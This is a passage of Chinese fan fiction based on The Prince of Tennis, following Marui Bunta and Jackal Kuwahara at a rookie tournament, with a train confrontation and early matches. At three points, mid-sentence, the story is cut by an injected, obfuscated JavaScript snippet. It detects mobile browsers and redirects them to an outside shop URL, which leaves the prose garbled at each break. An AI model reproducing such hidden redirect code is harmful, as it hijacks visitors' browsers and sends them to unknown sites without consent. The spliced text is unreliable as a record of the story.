丸井文太把双手搭在脑后,望了望天。 “不过幸村君铁定是优胜吧?” “这倒是没错。”学长也理所当然地点了点头,随后用轻松的语气说,“今年的名次不用太强求,在没遇到幸村他们之前尽可能取胜就行了。我去年也参加过新人战,还蛮有趣的,可以积累经验。而且你们可不要把目光都局限在立海里哦,他校也有一些实力不错的好手。虽然现在立海是最强这点是毋庸置疑的。” “当然,绝不会让立海的名声有失。”文太笑说,并眨眼比了一个可爱的wink,“由杰克来比。” “喂,怎么是我啊!” 隔壁球场热身跑步的杰克·桑原踉跄一下,在丸井文太促狭的笑声中发出一声无效抗议。 8. File 07 喧嚣 新人战的比赛场所位于东京的有明网球森林公园,距离文太家所在的镰仓只需要一小时左右的电车时间。 比赛报到需要在早上九点以前,时间还算充裕。丸井文太就像是上学日一样早起,娴熟地准备了便当和点心以后陪着两个弟弟吃了早饭,然后出门去与来找自己的杰克汇合。 “哥哥再见!” “文文哥一路小心哦!” 一大一小两个红发男孩依依不舍地趴在窗边招手,文太也笑着跟小家伙们摆了摆手,说他会带好吃的回来,让他们敬请期待,当即收获弟弟们好大一声欢呼。 “走吧。”站在街道转角的杰克等着丸井兄弟们相互告别完,与转身向他方向小跑过来的文太说。 “喔!”丸井文太精神地应了一声,单手抓住网球包的肩带,从一路葱茏繁茂的绿荫下经过,斑驳闪耀的光点落在他跳跃起伏的暖红碎发上,泛起鲜艳明亮的纯澈光芒。 他们一同走到车站,坐上叮叮当当驶来的绿皮电车,很快就离开民宅遍布的住宅区,窗外的背景变化成能看得见富士山的湘南海岸,和蔚蓝晴朗、遍布着棉絮般柔软云朵的辽阔天穹。 柔软日光照进摇摇晃晃的电车,透明光线照亮车厢中缓缓飘落的浮尘,让本就悠哉闲适的周末显得更像是落入一部怀旧的浪漫电影。 《镰仓物语》中有一句评价此地的经典台词:“镰仓时间流动的方式,和其他地方不一样吧!” 不同于快节奏的大都市,神奈川的镰仓作为幕府时代的古都,是一座被无数文人墨客钟爱的千年古城,给人的印象既不喧闹,也不商业化,而是登高望远坐享日升日落的宁静,以及漫步海畔听涛观海的自由。平日时常可见立海的学生们上下学经过的身影,让这片土地古老又充满了青春气息。 文太和杰克坐在一起,二人随意地聊着各种运动品牌的新品。到藤泽转车时,人流变得密集起来,他们座位的附近聚集了一群别校的学生,许多女生凑在一起兴高采烈地说着什么。 杰克对此没有太在意,拿过文太的球拍,伸手抓了抓上面新换的拍线。 “好硬……你这拍线的磅数会不会太高了?”他皱了皱眉,有些担忧,“这样比赛下来手臂的负担很大吧。” “还好,是柳让我调的。”丸井文太吹了个泡泡,凑过去说,“杰克你需要打出旋转,所以磅数低一点更合适吧?截击不需要太强的旋转,拍面越硬越有利于控球。而且我最近都在强化力量训练,所以没问题的。” 杰克点点头:“既然是柳的建议,那可以放心。” “对吧!” 闻言文太笑了笑,正打算说什么,身前忽然投下一片阴影。 “喂你们。” 穿着别校制服的女生双手抱臂,微微抬起下颌,居高临下地垂着眼皮。 “刚才喋喋不休又说什么比赛,手上还拿着网球拍,看样子也是去参加新人战的吧?” 虽然还称不上敌意的程度,但光凭那刻意拖长尾音的冷淡语气,杰克一听便知这绝非友好的搭讪。 而且喋喋不休的明显也不是我们吧。他微不可查地皱了皱眉头。 分明刚才整个车厢都只能听见这群人的吵闹声。 对面的团体也注意到了同伴的离席,其中一名女生探头过来看了眼,目光从一时没有搭腔的二人身上一扫而过,漫不经心地笑问:“树里,你跑那里去干什么啊?” 反正多半是一轮游的选手,给我们若人弘大人练手的水准而已。 后半句话她是放轻了声音跟同行的女孩们说的,其他人也纷纷掩唇低笑起来。 对啊对啊,若人大人可是我们城成湘南的明日之星呢。她们骄傲地交换着眼神。 “纱由里,你认出他们是哪所学校的吗?”有人问。 “这个运动服……好像是立海?”其中一人将手指抵着下颌,歪着头回想,忽然露出意外表情,“啊……那岂不是今年的冠军校?” 对方不在意地道:“喂喂。那又有什么了不起的?反正也不是一年级的参赛。” “但我听说确实是有一年级的上场比赛来着,还挺有名的,叫幸村……什么的。” “笨蛋!”被反驳的人有些急了,微微抬高声调,“就算有出赛,多半也只是被高年级带着混经验而已。而且就当那个幸村有点能耐吧,区区国中生层次又怎么比得过学会了职业选手高阶技巧的若人大人?” “呵呵,你说得也是呢。” …… 那些细细碎碎、但又能被听力绝佳的二人听得分明的闲话让杰克心头一阵火起,他眼神冷了冷,正待起身去寻那群人议论,手中忽然一空,文太的拍子被拿了回去。 丸井文太拿回自己的球拍放进网球包里,修长手指扯着拉链一拉到底,随后才抬头,红发下如桃花一般的浅紫眼眸泛着并未及底淡淡笑意。 “嗯,我们也会参赛哦。” 他说话时,还咬着口香糖吹出了一个难度极高的泡泡,尽管声音略微含糊,丸井文太的语气还是无比平稳冷静。 而且,与其说是没有生气,倒不如说连一丝情绪波动的痕迹都不存在于他的话语。 加上这个男孩子咬字清晰利落,语调又从容帅气,听起来格外清冽的悦耳音色便无比鲜明。 在他面前,名为树里的女生不由一怔,视线不由自主驻留于此刻终于抬头看向自己的丸井文太。 这么近距离地一看,她几乎要控制不住地感到颊边发烫。 那张原先被红发的阴影和泡泡糖所遮挡了大半,此刻终于拨云见雾展现出来的脸庞,简直是连大多女孩们都比不上的甜美,在抬睫时扑闪看向自己的一双眼睛清澈见底,更如紫水晶般剔透明亮。 不行……真的好难让人提起敌意的一张脸。 在她因心理挣扎而陷入的沉默中,伴随“啪”的一声,丸井文太吹破了泡泡,接着随意地勾起唇角,转眼看向被女生们如众星拱月围在当中,全程在看好戏的橙发男孩。 这个人有一双特征鲜明的下垂眼,斜戴着鸭舌帽,单手挂在椅背,整个人像耍酷摆pose似的坐得歪歪扭扭,给人的第一印象就是轻浮。 虽然以貌取人并不可取,不过……职业级的技术? 丸井文太不动声色,很平静地问了回去:“你呢,也会参加新人战?” 对方挑高眉梢,似乎有些惊讶他面对自己这边明里暗里的讥嘲仍然心平气和的态度,心想立海这人究竟是读不懂空气的笨蛋还是…… 心神电转间,那人面上仍是稍显轻浮的笑容:“是的。” 闻言文太轻轻“嗯”了一声,尾调微微上扬的鼻音拖得很长,把双手搭在脑后,视线挪向摇摇晃晃的电车顶部,似乎有些走神似的缓慢眨了眨眼睛。 “这样啊。” 他经过两三秒才回了一句无意义的搭腔,随后身体后倾靠上椅背,懒洋洋地嚼着口香糖,又炫技似的吹了一个又薄又大的泡泡出来。 那副只是随口应付陌生人搭讪的语气让许久等不到后文的众人面面相觑,几乎要把困惑写在脸上。 该怎么说呢?就像是你养精蓄锐打出一拳,却陷入了一团看不见底的棉花,让人空落落地到处都找不到着力点,又好像你已经摆好防御阵势,准备迎接好对方疾风骤雨的攻击,等了半天却发现对方在盾牌远处野餐一样。 完全不被放在心上的感觉让人格外憋屈。 对方脸上原本看似无懈可击的笑容当即有些变形,盯着丸井文太看了片刻,还是耐不住城府开了口:“就这样?” 你没有别的反应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685857|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?生气或是放狠话找场子回来,什么都行。 杰克听见文太极轻地笑了一声。 仅凭简单的三言两语,他此刻已轻而易举地掌控了对话的节奏和对方的注意力。更厉害的是,那几名别校的人对此还浑然不觉,视线和心绪都不自觉地被丸井文太抬眼和皱眉的微小动作而牢牢牵动。 “还有别的吗?” 他下一刻露出有些意外的表情,仿佛在惊讶这话题居然还没结束,视线游离片刻又挪回交谈对象的脸庞,露出个尽管被一再打扰得有些烦恼,却还是维持着礼貌和善意的得体笑容。 “啊……那就希望我们都能取得好成绩吧,这位……”他作势思考了片刻,“若人弘同学?” 被叫出全名的若人弘不自觉坐直身体。 “你知道我?”他问。 那些只知道吹捧他的女孩们不懂,但若人弘对立海的含金量可谓是一清二楚。 和近些年才开始投入大量资金扶持体育社团的新贵学校城成湘南不同,立海不仅在神奈川是首屈一指的老牌名门,也是雄踞于整个关东地区的常胜冠军,今年称霸全国的实力可谓深不可测,网球部中高手如云,人均水准极高,据说连普通成员都有那些地区非种子学校网球部的正选水准。 客观来说,无论周围人和教练如何肯定他的才能和球技,都不如被立海的学生知晓名姓更能彰显水平。 丸井文太天性敏锐,一眼便能洞见他心中暗喜。 他算是铁血气质的立海网球部中相当罕见的好脾气,许多小挑衅都不会过心,也不会太过与人计较,但这不代表他会容忍幸村君和立海被外人看轻。 “当然。” 丸井文太轻轻一笑,那神情和他寻常的笑容温差鲜明,是更为疏远和矜持,带有淡然傲气的立海式微笑。他噙着这样的微笑,在若人弘将要藏不住得意之色之前伸出一根食指,对准他身侧的女生,揭露出急转直下的真相。 “刚才那个人不是喊出你的名字了吗?” 所以,只是现学现卖而已。以前压根没听过你的名字。 这是丸井文太未说出口的潜台词。 先扬后抑,又若无其事地摆出无辜做派,却将别人攀至顶端的自满情绪从悬崖高高抛下,任其摔得粉碎。 但若要怀疑对方针对自己,他的笑容、语气、说话的内容,又淡然而友好,没有透出任何敌意。 笑到一半的若人弘顿时愣了一下。 被文太指着脸庞的女生也不由涨红了脸颊。 这个人的话分明是在暗示,他早已将她们贬低立海学生的话听得一清二楚。尽管他貌似风度极佳,没有说出任何指责的话语,那种居高临下的眼神却让人更不甘心,好像压根没把他们当一回事。 一阵微妙的沉默和对峙中,广播提示电车即将到站,窗外急速后退的风景逐渐变得清晰。 文太与杰克对视一眼,二人起身背起网球包,一同向车门走去。 “等、站住!”若人弘不由自主地开口叫住他们,“你……你们,”他的视线从丸井文太扫向杰克·桑原,沉声说,“报上名来。” “呵,等比赛遇见了自然就会知道。”丸井文太勾起唇角回过头,抬手比了个再会的手势,用颇具以牙还牙味道的狡黠语气说,“只要有的人不是一轮游的话……再见啦。” 他说完就毫不留恋地跨出车门,若人弘见状还想再说什么,正欲开口,自文太开口以后就保持沉默的杰克向他看去,只简单一眼,就让橙发男孩浑身僵了一瞬。 如若将立海那个红发的学生比作夺人视线的璀璨宝石,他身边这个肤色黝黑的混血同伴就是守护珍宝的恶龙,回首的眼神带着让人望而却步的冷厉。 “你最好从现在开始祈祷,祈祷你的签运不会太差。” 9. File 08 傲慢 立海的学生通常都很有礼貌,不过,也很傲慢啊。 以前听部里的学长们讨论起那所名门校,若人弘还不解为何礼貌和傲慢两个截然不同的印象词能够被放在一起,如今见识到了真人,他终于理解学长们语气复杂的评价。 “Game,仁王,6-0!” 铁丝网外啦啦队女孩们的呼声不知不觉已经消失,取而代之的是裁判的喊声传遍球场,然而若人弘却听得不太真切。 太阳当空,将跪在球场上狼狈喘气的他照耀得无所遁形,能看见的阴影只有自己弓起身体双手撑地所笼罩的小小空间,从下颌淌落的汗水一滴一滴晕湿地面,又很快被高温蒸发。 左手握着球拍、将右手伸过球网的仁王雅治等了快一分钟,见败给自己的对手仍没有走来握手的意思,便懒洋洋地扬起一个足够得体又带有矜持傲气的立海式轻笑,礼节周全地说了声“多谢指教”。随后,他从容地把手插回兜里,扛着球拍离开了场地。 穿着立海制服的柳生站在树下等他,见仁王散漫地走向自己,他用食指托了一下鼻梁上的眼镜,微笑着评价这场比赛:“真是坏心眼呢,仁王君。” 仁王雅治知道他是说自己故意模仿对方的绝招打败对手的事,任何人对自己的绝技都怀有自信,那个自带啦啦队的人显然更是如此。因此,在擅长的领域遭到针对性打击,所带来的精神挫败感也远胜寻常,加上比赛中选手的精神状态会影响发挥,大多人一蹶不振之后就再无翻身之地了,柳生比吕士正是看出了他的恶趣味才出言调侃。 仁王笑了一声并不反驳,所以说他很中意这个总能猜中他想法的同班同学啊。看似是一名绅士,但其实能跟上自己思维的人也没有单纯到哪里去吧,似乎柳生那种家境的父母还会将厚黑学作为子女必修的家庭课程。 “不过那个人模仿职业选手打球方式的做法还挺有趣,不是吗?”柳生说。 “虚有其表的花架子而已。”仁王漫不经心地说,“名将的技巧精髓不是那么容易掌握的,而且简单地模仿别人打网球是效率最低的笨方法,问题是模仿用来做什么。” 柳生虚心问:“比如说?” 仁王伸出一根手指:“按最简单的来说,这种打法能够克制某种类型的选手,就可以使用。要是再进一步的话,就使其扰乱对手的判断,让他无法发挥出应有的实力。总之,不应该让变化的球风成为结果,而应该当作一种能够达成目的的手段来使用,用技术编造出虚实交织的欺诈和误导,从而形成能够赢得比赛的战术。” 柳生听后一脸恍然:“原来如此,真是受教了。” “哼哼。”仁王有点得意地笑了声,浅绿的眼睛像猫一样慵懒眯起,“柳生,这只是基础而已,我的真本领还没发挥出来呢。” 柳生比吕士微笑着颔首,也并不认为仁王雅治这句话只是自夸。他虽不是网球部成员,但幼时也学过网球。毕竟网球是一种贵族运动,出身于名流家庭的柳生自然对网球比赛有着极高的鉴赏力。正是出于对仁王那富有趣味性网球的欣赏,他才会接受对方的观赛邀请。 立海网球部的一年生中,仁王雅治与丸井文太被柳莲二评价为极具双打天赋的双璧,原因就是这二人的战术意识都出类拔萃。丸井文太擅长判断取舍,不会错漏任何进攻时机,而仁王擅长扰乱局面,撕开对手的漏洞。在重视配合的双打比赛中,他们有着掌握赛场节奏的顶级才能。 二人说话期间,一个穿着立海运动服的身影从另一端的小路走来,对方双手插兜,球拍被斜斜地夹在身体和手臂间,整个人一派悠哉氛围。 柳生先注意到他标志性的微卷红发和口香糖泡泡,彬彬有礼地颔首打了声招呼:“日安,丸井君。” 被叫到名字的丸井文太侧过头眨了眨眼睛,脚步一转,向他们走近。 “哟,巧遇啊。”他笑道。 “puri。”仁王也勾起唇角。 柳生问:“丸井君是来看仁王君的比赛吗?很可惜刚才已经结束了哦。” “仁王?不是啦。我是下一场要用这里的场地比赛。”丸井文太耸了下肩膀,他的截击是速攻流打法,顺风局只需要十来分钟就能解决比赛。 每个选手的两场比赛之间会有一些用来恢复体力的休息时间,因此柳生若有所思问:“上一场很顺利吗?” “还好吧,6-0。仁王呢?” “piyo。”仁王雅治一副百无聊赖的表情。 那就是一样啊。文太毫不意外地咬着泡泡笑了一声,随后转头看向自己要用的场地……嗯?他眨了眨眼睛,忽然发现视野尽头正垂头收拾东西的选手是早上自己和杰克在电车上见过的人,不由轻轻“咦”了一下。 柳生注意到他诧异的表情,好奇问:“怎么了,丸井君?那是你认识的人吗?” 尽管当日还听见过对方的名字,丸井文太还是摇了摇头,毫不犹豫地表示否认:“没有,我不认识。” 柳生和仁王对此都没有太过在意。外校学生,而且又不是什么太出名的选手,他不认识再正常不过了。 “你路上有看到幸村他们吗?”仁王问。 “没有,他和真田都是前两轮轮空的种子选手吧,应该晚一点才来?倒是柳说他会去观摩别校的比赛。” “不愧是我们部的参谋,时刻都滴水不漏地搜集着数据。” “没错没错。” 文太赞成地连连点头,接着听见球场传来下一场比赛将开始的哨声。糟糕,如果迟到超过5分钟是要被被判取消资格的。丸井文太立时打起精神,匆匆摆了摆手便跑去球场,此刻他的对手也已经站在球网对面等着他了。 仁王雅治的下场比赛还需要等一段时间才开始,便跟柳生比吕士一同站在铁丝网外观战。 如果丸井文太的对手只是仁王上一盘遭遇的那个水平,他还不至于有兴趣驻足观看。不过场中与文太相对而立的选手穿着一身他很熟悉的灰蓝色运动服,属于东京的强豪,今年与立海在关东大赛决赛交手过的冰帝学园。 鉴于预选已经筛去许多实力不足的选手,所以不出意外的话,今日能够打到后期的选手都将作为来年的校队主力出场,也就是说,很可能会和他们在大赛中相遇。 仁王想着,随口道:“说起来,我听说冰帝的部长迹部这次没有参赛。” “嗯?冰帝部长是一年级吗?” “是啊,跟幸村一样是打败了所有正选以后就当上了部长。” 柳生微微惊讶:“那是真的很了不起。” 冰帝也是网球强校,虽然历年成绩相较立海略有逊色,但三年生的水平也是不掺水分的。 仁王雅治消息灵通,他玩笑着说:“那个迹部似乎是个财阀大少爷,估计因为日程表太过忙碌,所以鲜少报名这类比赛。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685858|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他说到这里的时候,还想起另一个此次新人战中没有参赛的人物——青春学园的手冢国光。 不同于在神奈川独占鳌头的老牌名门立海,资源优越的东京一直呈现出强豪林立的混战局面,仅到都大赛的层次就已经斗争残酷。除了从今年大刀阔斧的改革起一直隐隐展现出领头趋势的冰帝,青学、山吹等强校历年也能在大赛打得有来有往,取得不错的名次。 来自神奈川的他们若要与东京的队伍正式比赛,就只能在关东大赛以及全国大赛上才有机会。今年的青学不巧在关东大赛上没能与立海交手,还止步于关东四强,失去了进入全国大赛的入场券。这件事一度令副部长真田弦一郎耿耿于怀,幸村精市后来解释,说这是因为真田很期待能与青学的手冢交手。 幸村和真田对手冢的熟稔,从侧面佐证了手冢的实力。 不过仁王雅治后来因好奇去调查过青学,发现那所学校的一年生是没有资格参与校队正选成员的竞选的,所以真田的期望本来就注定落空。 只是不知为何,手冢国光连新人战都放弃了参赛。 难道对方并非没兴趣参赛,是没法参赛?仁王若有所思地想着。鉴于猜测无处求证,他很快就把这般念头抛到脑后。 除那二人之外,东京诸校都有不少在小学时期就获得地区JR大赛高位名次的厉害选手入围,像是山吹的千石、冰帝的忍足、青学的不二和一些仁王尚记不清的人物,还有来自千叶六角中学的佐伯,而关西那边则有四天宝寺的白石、狮子乐中学的千岁与橘等同样早早出名的选手。 不过,此时丸井文太遭遇的对手并不在以上仁王雅治所知的名人之列。 他隔着铁丝网向场内望去,大概是因为丸井文太来得迟了些,此刻又叼着泡泡小跑进场,让那人本就严峻的表情变得更为糟糕,语气很不爽地找茬道:“喂,比赛的时候吃什么口香糖啊,你在小瞧我吗?” 哦呀,冰帝的。 丸井文太眨了眨眼睛,同样认出对方身上的运动服。 “规则没有说不允许吧?” 他的口香糖在部里可是连真田都默许的存在,因为幸村君说过不影响发挥就完全OK,文太自然如获免死金牌般随心所欲起来。 尽管对手态度不善,不过他一贯擅长举重若轻地拿捏气氛,没在有火药味的话题上继续纠缠,而是很随意地轻轻一笑,用有点狡猾的语气说:“好啦,别介意,我也没对你特别的长发说三道四对吧?我们的重点不是网球么?” 虽是男生,却如同艺术家般扎起长发马尾的宍户亮闻言一愣。 他的长发总是很容易被初次见面的人当作话题,宍户则是用凶恶的口吻把那些意图取笑自己娘娘腔的家伙吓了回去,所以对方话这么说倒也没错。可是,坦率承认这点的话又好像被那人轻而易举地转移了话题……等下。 他忽然定睛审视自己的对手,刚才只顾着看展板上的名字还没注意到,这个人穿着的运动服,竟是那个立海的。 这局应该会比上一场有意思点吧。丸井文太用两根手指灵活地勾着网球拍的边框快速旋转,视线轻轻地扫过宍户亮的脸庞,留意到对手目中浮现的慎重,他“啪”的一声吹破泡泡,脱手的球拍飞到半空,被他一手握住拍柄,然后面上浮现出一个大胆无畏的笑容。 “4946(指教请多)!机会难得,就让你欣赏一下我的天才技巧吧。” 10. File 09 新秀 4946,读起来的谐音就是音节打乱后的“请多指教”,是丸井文太爱用的口头禅。 他这个人素来富有巧思,言行举止都带有机敏活泼的狡黠气质,和热衷恶作剧而略显危险的仁王不同,是深知自己总能得到偏爱的纵情任性,在阳光下的紫眸盈满自信从容的笑意,一口带着少年气的声线极清极亮,给人的第一印象极佳,绝不会让人心生恶感。 宍户亮又怔了一会儿才反应过来他的4946是什么意思,按自己的性格是该吐槽这人尽耍小聪明来着,然而,面对那无可挑剔的漂亮笑容,哪怕是宍户亮也提不起太强烈的敌意,回过神来已和对方相安无事地完成了转拍选边,摆好架势等待丸井文太开球了。 啧,不知不觉就被牵着步调走了。 宍户这才猛地反应过来,脑海深处隐隐浮现出一丝不妙预感。 一阵稍大的长风卷过树梢,带走了枝头将落而未落的叶子,积云遮蔽太阳,地面一片清凉。 九月的秋意就是这样,日光照耀时依旧如盛夏般炎热,但不见日头时已能让人感觉到一丝飒爽的凉意,风声更为喧嚣,因为绿叶将黄,黄叶将落,季节的色彩开始变化,待摘的果实即将成熟,而球场上奔跑的少年也比初春时成长了一些。 在这场一年一度的盛会中,公园各处场地的网球比赛都进展得如火如荼,却有一名浅金发色的卷毛男孩坐在草地上,双手撑在身后,视线惺忪地望着头顶被风吹落的树叶。 好想睡……可是,再等等就要下一场比赛了。 他缓缓地眨了眨眼睛。 时间好似在这一瞬变得绵长。 就在即将被本能扯进梦乡之前—— “喂——慈郎!” 有着暗红发色,和被称作慈郎的男孩穿着相同冰帝队服的妹妹头男孩匆匆跑了过来,语气焦急道:“大事不好了,亮居然输了!” “嗯……输了?”芥川慈郎一脸还没反应过来的表情,茫然着重复了一遍听见的话语。 “笨蛋,你怎么一点紧张感都没有!”他的同伴急得都快跳脚,一字一顿地强调说,“亮!输了!6-1!打败他的人就是你下场比赛的对手!听亮说那家伙的Rising比他更胜一筹,可恶,这么说肯定不是个简单人物……喂慈郎,你听见了吗?!快给我打起精神来啊你这个睡觉皇帝!” “哈哈,岳人,我没那么了不起啦……” 慈郎挠了挠后脑蓬松的头发,略显腼腆地笑着说,不知是在指比赛的事,还是岳人将他称作“睡觉皇帝”的事。 向日岳人瞬间气得脑袋发晕。 他、宍户亮、芥川慈郎,三人自小熟识,对彼此的实力自然心知肚明。宍户亮才一年级就已有冰帝正选水准,那一手先发制人的凌空抽球打起来是很有压制力的,而且向日岳人知道宍户亮的自尊心极强,这样的他,竟然能在赛后承认对手在他的得意领域技术更高,足可见其非同凡响。 他想到这里,不禁瞪向面前眼神清澈又无辜的慈郎。 啊啊结果怎么是我这个旁观者心急如焚得坐立不安啊! 像向日岳人这种急性子的人,遇上生来不知紧张感为何物的芥川慈郎,就像是遇见了命中克星一样束手无策。这要是别人也就算了,偏偏对方还是自己的发小,岳人关照他习惯了,完全无法将永远不能让人放心的慈郎置之不顾。 “总之你快起来,比赛快开始了,再不去就要迟到了!” 他决定放弃抱怨,一手捞起对方落在树下的球拍和书包,另一手拽着脚步踉跄跟不上节奏的芥川慈郎,深吸一口气,风风火火地往预定的场地奔去。 一颗网球弹到半空,才落在橙色拍框的上方,又被颠了上去,周而复始。 丸井文太单手插兜走在路上,只用一根食指抵着自己球拍底部,像是玩杂技一样顶着球拍,用拍框的侧面去接半空中反复跳动的网球,鲜艳的红发在他迈步时蓬松柔软地跳动,同时还在吹着口香糖的泡泡的样子给人一种从物理层面上不能靠近也不能打扰的暗示。 经过他的人都下意识将目光分给这个看起来十足自我中心的人身上。不得不说无论是拍框颠球还是吹泡泡看起来都极其考验操作,合并起来更是难度指数级上升,这么炫技对即将迎来中二期的男生们来说简直酷炸了。当然也有看他行为太招摇而感到不爽,所以准备找茬的,但这些人还未开口,只是用双眼朝他定睛一瞧,就纷纷怔住。 那身校服,是立海的。 路过的人们沉默地交换着心照不宣的视线。 在道路另一端,同样也有一人将目光投到丸井文太身上,与其他人不同的地方在于,那人穿着不便于打球的学校制服,短袖衬衣胸口位置刺绣着一个“嘉”的单字。 此人名为木手永四郎,就读于冲绳地区的比嘉中。从他所居住的地方到东京的路费并不便宜,原先由于零用钱都被用来购置学校网球社的物资,木手在新人战预选入围后,自愿放弃了到这边参赛。但说来也巧,他今年亲手栽种的苦瓜田丰收,让木手小赚了一笔,他思来想后,便决定趁此机会来侦查全国网球新秀的实力,因此最终还是出现在这里。 今年的冠军,立海的选手吗? 木手望着逐渐远去的红发身影,纵然没有正眼相对过,他也能感受到对方通身的从容气质,骄傲又自信,大写的游刃有余。 总有一天,我们会在全国大赛的舞台上见面的。 他托了托鼻梁上的眼镜,暗暗地心道。 不过旁人的所思所想皆与丸井文太无关。他上一场因为丢了一局而被仁王雅治取笑打得保守,送别了要去其他场地打球的恶作剧二人组以后依旧郁闷难消,愤愤地一连吃掉两块巧克力蛋糕,才把自己哄好,算着时间休息得差不多,便动身去下一场比赛。 此刻在硕大的泡泡后方,他脸上的神情已和第一场比赛后全然不同,少了几分轻松,眼神也更为认真,补充了糖分后的精神高度集中。 虽说他和宍户亮的比赛赢得很稳,但那很大程度上是他正好精通对方绝技的缘故,幸运不会接二连三,像这种淘汰赛的对手只会越来越强,他作为立海队员绝不能轻易败给外校的人,让幸村君失望。 他来到新的场地,应该是刚结束其他人的上一场比赛,工作人员正在整理球场。这次倒是他先到了,文太侧过头瞄了眼已经摆在记分员身侧的黑板,丸井的名字下方写着芥川两个字。 唔……不认识。 他抬起球拍,轻轻地敲了敲肩膀。 该不会就这么等到对手迟到失去资格吧。就在丸井文太咀嚼口香糖,无聊得抬头眺望天上白云的时候,随着一声轰然巨响,球场大门被人大力推开。 “Safe!安全上垒!” 穿着冰帝运动服的妹妹头男孩欢呼一声,紧接着推了一把手边眼神茫然的卷毛同伴。 “快点,慈郎,要好好比啊。” 说着就后退了一步,摆出要观战的架势。 嗯?哪个是芥川?丸井文太吹着泡泡,目光从那一马当先的矮个子妹妹头挪到另一个好像还睡不醒的家伙身上,不甚明显地挑起一边眉梢。 又是冰帝的? 这副无精打采的模样……我是被轻敌了么? 在他透出一丝危险气息的注视下,芥川慈郎旁若无人地慢慢打了一个呵欠,单手拽着向日岳人临走前塞给他的书包带子,慢腾腾地走到场边蹲下,从中取出球拍,然后站起来扯下外套的拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685859|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 链,把上面沾着许多草屑的冰帝外套丢在包上,接着弯身脱下白色的运动短裤……喂、等下。 丸井文太瞧得眼角微微抽搐,下意识转脸瞄了一眼球网那边才在位置上坐好的裁判,对方好像压根没注意到……但这没问题吗?那个叫芥川的,把他的外裤给脱掉了啊!现在上半身是冰帝的灰蓝色运动短袖,下半身是一条蓝白条纹的……看质地应该是睡裤?早上起床的时候直接套在运动短裤里面了吗? 虽然搭配起来颜色勉强还算和谐,没到不堪入目的程度。 但他真不想那么仔细去观察男人的下半身……文太头疼,微微闭目。 场外同样把一切尽收眼底的向日岳人单手捂脸,耳根发红得像滴血,替人尴尬的毛病开始发作,无力地发出一声虚弱的呢喃:“慈郎那个脱线的笨蛋,又穿着睡裤上场比赛,你都不是小学生了喂……” 芥川慈郎自顾自地做好准备,走到球场中央时半天都未见丸井文太出声,想了想便将自己的球拍朝下顶住地面。 “Which?”他天真地问。 在他面前的丸井文太一阵沉默,接着他好似在几秒内放弃了什么,浅浅地叹了口气,说:“Smooth.” 随后球拍旋转起来,倒在地面的时候球拍底部是一个倒置的字母A,芥川的首字母。 文太看了便点了点头说:“我先发球。” 慈郎面露惋惜,接着随意地指着自己脚下道:“那我在这边场地。” 这也是很常见的选择。比赛开球前的转拍选边是这样的规矩:一人转球拍,另一人猜球拍落地时拍底字母的正反位置。如果猜中的话,猜位置的人就获得发球权,转拍的人则获得选场地的权利,猜错的话则是反过来。通常来说,能否得到发球权对选手来说才更为重要,先发球就有机会抢占先机,而选场地的一方若是没有太明显的偏好,或者相信一些玄学的话,通常就不会改变自己本来的位置。 对擅长截击的芥川慈郎来说,发球就代表着巨大的优势,因为当球从自己的半场飞到对手球场再飞回来的时候,他就拥有了比对手发球更多三倍的时间跑到网前摆好架势。不过听岳人说这个人和亮一样擅长Rising,那就表示对方赛中应该会以中后场为主要的活动区域。 嗯嗯,那我上网的机会还是很多! 他微微雀跃起来,虽然依旧很困,但芥川慈郎还是压低身体盯住球网对面丸井文太的动作,掌心虚托拍框,脚尖轻轻踮起,蓄势待发着准备冲刺网前。 而球网另一边,丸井文太从口袋中取出一颗网球,目光同样望向对面的芥川慈郎。 他心性极稳,仅用从球网前走到底线的短短时间,就调整好了先前有几分起伏的情绪状态,把多余的想法都收敛得一干二净,脸庞上扬起个凌厉笑容,随后用口香糖吹出一个标志性的泡泡。 哇,好厉害。 慈郎以前从未见过有人能把泡泡吹成这么完美的样子,心下惊叹,眼睛都不由睁圆了些许。 然而,就在他不小心分神的这一瞬间,凌厉的球路划破空气,网球砸过他的足边,去势汹汹地撞上后方铁丝网。 “15-0!丸井领先。”裁判喊道。 “欸?”芥川慈郎登时愣在原地,过半晌才想起来回头,看向在地面滚动的网球。 好快。或者说完全被抓住了他露出破绽的时机。 场外的向日岳人马上用双手抓住铁丝网,恼火地喊着慈郎赶紧清醒起来之类的话语。 没关系,无论你是醒是睡,都改变不了我的胜利。 丸井文太咬着泡泡如此心想。他不是很明显地压低眉头,锐利眼神深处泛起一丝挑衅的意气,伸手从口袋中取出第二颗网球。 11. File 10 对战 “咻!” 网球抛向高空。 